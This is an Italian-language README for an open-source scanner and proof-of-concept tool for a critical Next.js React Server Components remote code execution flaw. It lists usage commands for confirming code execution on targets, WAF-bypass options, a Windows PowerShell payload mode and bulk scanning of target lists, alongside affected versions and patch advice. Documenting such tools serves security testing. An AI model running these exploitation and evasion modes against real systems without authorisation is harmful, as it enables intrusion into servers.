
Lo scanner più completo per la vulnerabilità di Remote Code Execution RSC di Next.js
╔════════════════════════════════════════════════════════════════════════╗
║ ____ _ ___ ____ _ _ _ ║
║ | _ \ ___ __ _ ___| |_|__ \/ ___|| |__ ___| | | ║
║ | |_) / _ \/ _` |/ __| __| / /\___ \| '_ \ / _ \ | | ║
║ | _ < __/ (_| | (__| |_ / /_ ___) | | | | __/ | | ║
║ |_| \_\___|\__,_|\___|\__|____|____/|_| |_|\___|_|_| ║
║ ║
║ React2Shell Ultimate CVE-2025-66478 Scanner v1.0.0 ║
║ Next.js RSC Remote Code Execution Vulnerability ║
╠════════════════════════════════════════════════════════════════════════╣
║ ║
║ ║
╠════════════════════════════════════════════════════════════════════════╣
║ Modes: --safe (side-channel) | --rce (PoC) | --version | --local ║
║ WAF Bypass: --waf-bypass | --vercel-bypass | --unicode ║
╚════════════════════════════════════════════════════════════════════════╝
CVE-2025-66478 (nota anche come CVE-2025-55182) è una vulnerabilità CRITICA (CVSS 10.0) di Remote Code Execution che colpisce le applicazioni Next.js che utilizzano React Server Components (RSC).
Questo strumento combina le migliori funzionalità di diversi scanner per CVE-2025-66478:
# Clone the repository
git clone https://github.com/hackersatyamrastogi/react2shell-ultimate.git
cd react2shell-ultimate
# Install dependencies
pip install -r requirements.txt
# Or install manually
pip install requests tqdm
# Version detection only (fastest, no exploitation)
python3 react2shell-ultimate.py -u https://target.com --version
# Safe side-channel detection (no code execution)
python3 react2shell-ultimate.py -u https://target.com --safe
# RCE proof-of-concept (executes harmless calculation: 41*271=11111)
python3 react2shell-ultimate.py -u https://target.com --rce
# Comprehensive scan with all bypass attempts
python3 react2shell-ultimate.py -u https://target.com --comprehensive
# Scan multiple targets from file
python3 react2shell-ultimate.py -l targets.txt -t 20 -o results.json
# Quiet mode - only show vulnerable hosts
python3 react2shell-ultimate.py -l targets.txt -q
# JSON output to stdout
python3 react2shell-ultimate.py -l targets.txt --json
# Scan current directory
python3 react2shell-ultimate.py --local .
# Scan specific project path
python3 react2shell-ultimate.py --local /path/to/nextjs/projects
# Junk data bypass (adds 128KB padding to evade content inspection)
python3 react2shell-ultimate.py -u https://target.com --rce --waf-bypass
# Custom junk data size
python3 react2shell-ultimate.py -u https://target.com --rce --waf-bypass --waf-bypass-size 256
# Unicode encoding bypass
python3 react2shell-ultimate.py -u https://target.com --rce --unicode
# Vercel-specific WAF bypass
python3 react2shell-ultimate.py -u https://target.com --rce --vercel-bypass
# Windows target (PowerShell payload)
python3 react2shell-ultimate.py -u https://target.com --rce --windows
# With proxy
python3 react2shell-ultimate.py -u https://target.com --rce --proxy http://127.0.0.1:8080
# Custom headers
python3 react2shell-ultimate.py -u https://target.com --rce -H "Authorization: Bearer token"
# Increased timeout
python3 react2shell-ultimate.py -u https://target.com --rce --timeout 30
# Verbose output
python3 react2shell-ultimate.py -u https://target.com --comprehensive -v
--safe)Attiva uno specifico pattern di risposta di errore senza eseguire alcun codice. Identifica le implementazioni RSC vulnerabili tramite il comportamento di gestione degli errori.
--rce)Esegue un calcolo matematico innocuo (echo $((41*271)) = 11111) per confermare la capacità RCE. Il risultato appare nell'intestazione X-Action-Redirect.
--version)X-Powered-By per la versione di Next.jsVary per indicatori RSCtext/x-component--local)Scansiona le directory di progetto per:
package.json - Dichiarazione diretta delle dipendenzepackage-lock.json - Lockfile NPMyarn.lock - Lockfile Yarnpnpm-lock.yaml - Lockfile PNPMbun.lockb - Lockfile Bun[VULNERABLE] https://target.com
Version: 15.3.1 | Status: 200 | Method: rce_poc
WAF Bypass: SUCCESS
[NOT VULNERABLE] https://safe-target.com
Version: 15.5.7 | Status: 200 | Method: http_headers
[WAF BLOCKED] https://protected.com
Version: 15.2.0 | Status: 403 | Method: rce_poc
WAF Detected: Exploit blocked
{
"tool": "React2Shell Ultimate CVE-2025-66478 Scanner",
"version": "1.0.0",
"cve_ids": ["CVE-2025-55182", "CVE-2025-66478"],
"scan_time": "2025-12-06T12:00:00Z",
"total_results": 1,
"results": [
{
"url": "https://target.com",
"vulnerable": true,
"version": "15.3.1",
"status_code": 200,
"detection_method": "rce_poc",
"waf_detected": false,
"waf_bypassed": false
}
]
}
Se trovi applicazioni vulnerabili:
Aggiorna immediatamente alle versioni corrette:
Mitigazioni temporanee:
Monitora i log per tentativi di sfruttamento
Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi.
Licenza MIT - Vedi il file LICENSE per i dettagli.
⭐ Metti una stella a questo repository se lo trovi utile! ⭐
| Intervallo di Versioni | Stato |
|---|
| Next.js 15.0.0 - 15.0.4 | ⚠️ Vulnerabile |
| Next.js 15.1.0 - 15.1.8 | ⚠️ Vulnerabile |
| Next.js 15.2.0 - 15.2.5 | ⚠️ Vulnerabile |
| Next.js 15.3.0 - 15.3.5 | ⚠️ Vulnerabile |
| Next.js 15.4.0 - 15.4.7 | ⚠️ Vulnerabile |
| Next.js 15.5.0 - 15.5.6 | ⚠️ Vulnerabile |
| Next.js 16.0.0 - 16.0.6 | ⚠️ Vulnerabile |
| Next.js 14.3.0-canary.77+ | ⚠️ Vulnerabile |
| Next.js 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7+ | ✅ Patchata |
| Next.js 16.0.7+ | ✅ Patchata |
| Next.js 13.x, 14.x stable | ✅ Non Vulnerabile |
| Funzionalità | Descrizione |
|---|
| 🔍 Rilevamento Multi-Modalità | Side-channel sicuro, PoC RCE, solo versione, scansione locale |
| 🛡️ Tecniche di Bypass WAF | Padding con dati spazzatura, codifica Unicode, bypass specifico per Vercel |
| 📁 Scansione Locale di Progetti | Analizza package.json e i file di lock per dipendenze vulnerabili |
| ⚡ Alte Prestazioni | Scansione multi-thread con concorrenza configurabile |
| 📊 Formati di Output Multipli | Console, JSON, esportazione su file |
| 🎯 Rilevamento Accurato della Versione | Intestazioni HTTP, fingerprinting RSC, riconoscimento delle versioni patchate |
| Opzione | Descrizione |
|---|
-u, --url | URL singolo da scansionare |
-l, --list | File contenente URL (uno per riga) |
--local | Scansiona la directory di un progetto locale |
--safe | Rilevamento side-channel sicuro (nessuna RCE) |
--rce | Modalità proof-of-concept RCE |
--version | Solo rilevamento della versione |
--comprehensive | Scansione completa con tutte le tecniche |
--waf-bypass | Aggiunge dati spazzatura per il bypass del WAF |
--waf-bypass-size | Dimensione dei dati spazzatura in KB (predefinito: 128) |
--unicode | Codifica Unicode per il bypass del WAF |
--vercel-bypass | Bypass WAF specifico per Vercel |
--windows | Usa il payload PowerShell di Windows |
-t, --threads | Thread concorrenti (predefinito: 10) |
--timeout | Timeout della richiesta in secondi (predefinito: 10) |
-k, --insecure | Disabilita la verifica SSL |
--proxy | URL del proxy (http://host:port) |
-H, --header | Intestazione personalizzata (ripetibile) |
-o, --output | File di output (JSON) |
--all-results | Salva tutti i risultati, non solo quelli vulnerabili |
-v, --verbose | Output dettagliato |
-q, --quiet | Mostra solo gli host vulnerabili |
--json | Output JSON su stdout |
--no-color | Disabilita l'output colorato |